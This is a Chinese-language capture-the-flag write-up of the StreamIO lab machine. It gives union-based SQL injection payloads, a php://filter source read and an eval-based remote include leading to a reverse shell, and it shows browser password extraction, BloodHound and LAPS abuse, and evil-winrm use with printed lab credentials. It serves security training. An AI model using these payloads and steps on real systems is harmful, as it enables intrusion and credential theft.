实战打靶之StreamIO
字数 1436 2025-08-11 23:05:55

StreamIO 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描发现19个开放TCP端口:

nmap -sV -sC -p- 10.10.11.158

关键发现:

  • 53 (DNS)
  • 88 (Kerberos)
  • 135 (RPC)
  • 139/445 (SMB/NetBIOS)
  • 389 (LDAP)
  • 443 (HTTPS)

这些服务组合表明这是一个域控制器(Domain Controller)。

1.2 子域名枚举

使用wfuzz进行子域名枚举:

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://streamio.htb/ -H "Host: FUZZ.streamio.htb" --hw 290

发现两个DNS名称:

  • streamIO.htb
  • watch.streamIO.htb

1.3 SMB服务探测

使用crackmapexec进行SMB爆破:

crackmapexec smb 10.10.11.158 -u users.txt -p passwords.txt

2. Web应用分析

2.1 网站功能分析

  • 80端口:运行WinServer服务
  • 443端口:HTTPS服务
  • 发现联系页面,提交表单后提示"在电子邮件中寻找回复"
  • 注册功能可用但登录失败

2.2 目录爆破

使用feroxbuster进行目录爆破:

feroxbuster -u https://streamio.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php

发现:

  • 登录和注册模块
  • watch.streamio.htb子域名网站有FAQ和订阅表单

3. 漏洞利用

3.1 SQL注入发现

在search.php页面发现SQL注入漏洞:

  • 搜索功能返回电影列表
  • 输入"test"返回"The Greatest Showman"
  • 推断SQL查询类似:select * from movies where title like '%[input]%'

3.2 手工注入绕过WAF

测试注入payload:

test' union select 1,2,3,4,5,6;-- -

成功注入后获取信息:

# 查询版本
u' union select 1,@@version,3,4,5,6 -- -

# 查询表名
u' union select 1,table_name,3,4,5,6 from information_schema.tables -- -

# 查询users表列名
u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users' -- -

# 查询用户和密码
u' union select 1,concat(username,':',password),3,4,5,6 from users -- -

3.3 凭证爆破

使用hashcat破解获取的哈希:

hashcat -m 0 hashes.txt rockyou.txt

发现有效凭证:

  • 用户名:yoshihide
  • 密码:66boysandgirls..

4. 后台访问与进一步利用

4.1 后台功能分析

登录后访问/admin发现4个功能点:

  • 电影管理
  • 员工管理
  • 用户管理
  • 调试功能

4.2 参数枚举

使用wfuzz枚举参数:

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=gpp07f35aviqcd3ak2544hne08" --hh 1678

发现/debug目录。

4.3 源码获取与分析

使用PHP过滤器获取master.php源码:

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php

关键代码分析:

<form method="POST">
  <input name="include" hidden>
</form>

<?php
if(isset($_POST['include'])){
  if($_POST['include'] !== "index.php" )
    eval(file_get_contents($_POST['include']));
  else
    echo(" ---- ERROR ---- ");
}
?>

4.4 命令执行漏洞利用

构造payload进行远程代码执行:

  1. 本地开启HTTP服务
  2. 上传反向shell脚本
  3. 触发执行

获取初始shell:

rlwrap -cAr nc -lnvp 443

5. 权限提升

5.1 主机信息收集

发现Firefox配置文件:

C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\...

使用firepwd工具提取保存的密码:

./firepwd.py

5.2 域内信息收集

使用BloodHound进行活动目录分析:

bloodhound-python -d streamio.htb -u nikk37 -p 'B1@hx31234567890' -c all -ns 10.10.11.158

发现关键权限:

  • JDgodd用户对"Core Staff"组有WriteOwner权限
  • "Core Staff"组对DC计算机对象有ReadLAPSPassword权限

5.3 LAPS密码提取

使用PowerView获取LAPS密码:

$cred = New-Object System.Management.Automation.PSCredential("streamio.htb\JDgodd", (ConvertTo-SecureString "B1@hx31234567890" -AsPlainText -Force))
Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred

获取管理员密码:8M[&tV4#!j$k05

5.4 最终权限获取

使用evil-winrm以管理员身份连接:

evil-winrm -u administrator -p '8M[&tV4#!j$k05' -i 10.10.11.158

获取root.txt:

type C:\Users\Martin\Desktop\root.txt

6. 总结

本次渗透测试路径:

  1. 信息收集发现子域名和开放服务
  2. 通过SQL注入获取数据库凭证
  3. 破解哈希获得后台访问权限
  4. 发现并利用后台命令执行漏洞获取初始shell
  5. 提取Firefox保存的密码获取更多凭证
  6. 通过BloodHound分析域内权限关系
  7. 利用LAPS获取域管理员密码
  8. 最终获取系统完全控制权限

关键学习点:

  • 子域名枚举在渗透测试中的重要性
  • SQL注入的手工绕过技术
  • 后台功能审计中发现隐藏漏洞
  • 活动目录权限关系的分析与利用
  • LAPS在域环境中的安全影响
StreamIO 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描发现19个开放TCP端口: 关键发现: 53 (DNS) 88 (Kerberos) 135 (RPC) 139/445 (SMB/NetBIOS) 389 (LDAP) 443 (HTTPS) 这些服务组合表明这是一个域控制器(Domain Controller)。 1.2 子域名枚举 使用wfuzz进行子域名枚举: 发现两个DNS名称: streamIO.htb watch.streamIO.htb 1.3 SMB服务探测 使用crackmapexec进行SMB爆破: 2. Web应用分析 2.1 网站功能分析 80端口:运行WinServer服务 443端口:HTTPS服务 发现联系页面,提交表单后提示"在电子邮件中寻找回复" 注册功能可用但登录失败 2.2 目录爆破 使用feroxbuster进行目录爆破: 发现: 登录和注册模块 watch.streamio.htb子域名网站有FAQ和订阅表单 3. 漏洞利用 3.1 SQL注入发现 在search.php页面发现SQL注入漏洞: 搜索功能返回电影列表 输入"test"返回"The Greatest Showman" 推断SQL查询类似: select * from movies where title like '%[input]%' 3.2 手工注入绕过WAF 测试注入payload: 成功注入后获取信息: 3.3 凭证爆破 使用hashcat破解获取的哈希: 发现有效凭证: 用户名:yoshihide 密码:66boysandgirls.. 4. 后台访问与进一步利用 4.1 后台功能分析 登录后访问/admin发现4个功能点: 电影管理 员工管理 用户管理 调试功能 4.2 参数枚举 使用wfuzz枚举参数: 发现/debug目录。 4.3 源码获取与分析 使用PHP过滤器获取master.php源码: 关键代码分析: 4.4 命令执行漏洞利用 构造payload进行远程代码执行: 本地开启HTTP服务 上传反向shell脚本 触发执行 获取初始shell: 5. 权限提升 5.1 主机信息收集 发现Firefox配置文件: 使用firepwd工具提取保存的密码: 5.2 域内信息收集 使用BloodHound进行活动目录分析: 发现关键权限: JDgodd用户对"Core Staff"组有WriteOwner权限 "Core Staff"组对DC计算机对象有ReadLAPSPassword权限 5.3 LAPS密码提取 使用PowerView获取LAPS密码: 获取管理员密码: 8M[&tV4#!j$k05 5.4 最终权限获取 使用evil-winrm以管理员身份连接: 获取root.txt: 6. 总结 本次渗透测试路径: 信息收集发现子域名和开放服务 通过SQL注入获取数据库凭证 破解哈希获得后台访问权限 发现并利用后台命令执行漏洞获取初始shell 提取Firefox保存的密码获取更多凭证 通过BloodHound分析域内权限关系 利用LAPS获取域管理员密码 最终获取系统完全控制权限 关键学习点: 子域名枚举在渗透测试中的重要性 SQL注入的手工绕过技术 后台功能审计中发现隐藏漏洞 活动目录权限关系的分析与利用 LAPS在域环境中的安全影响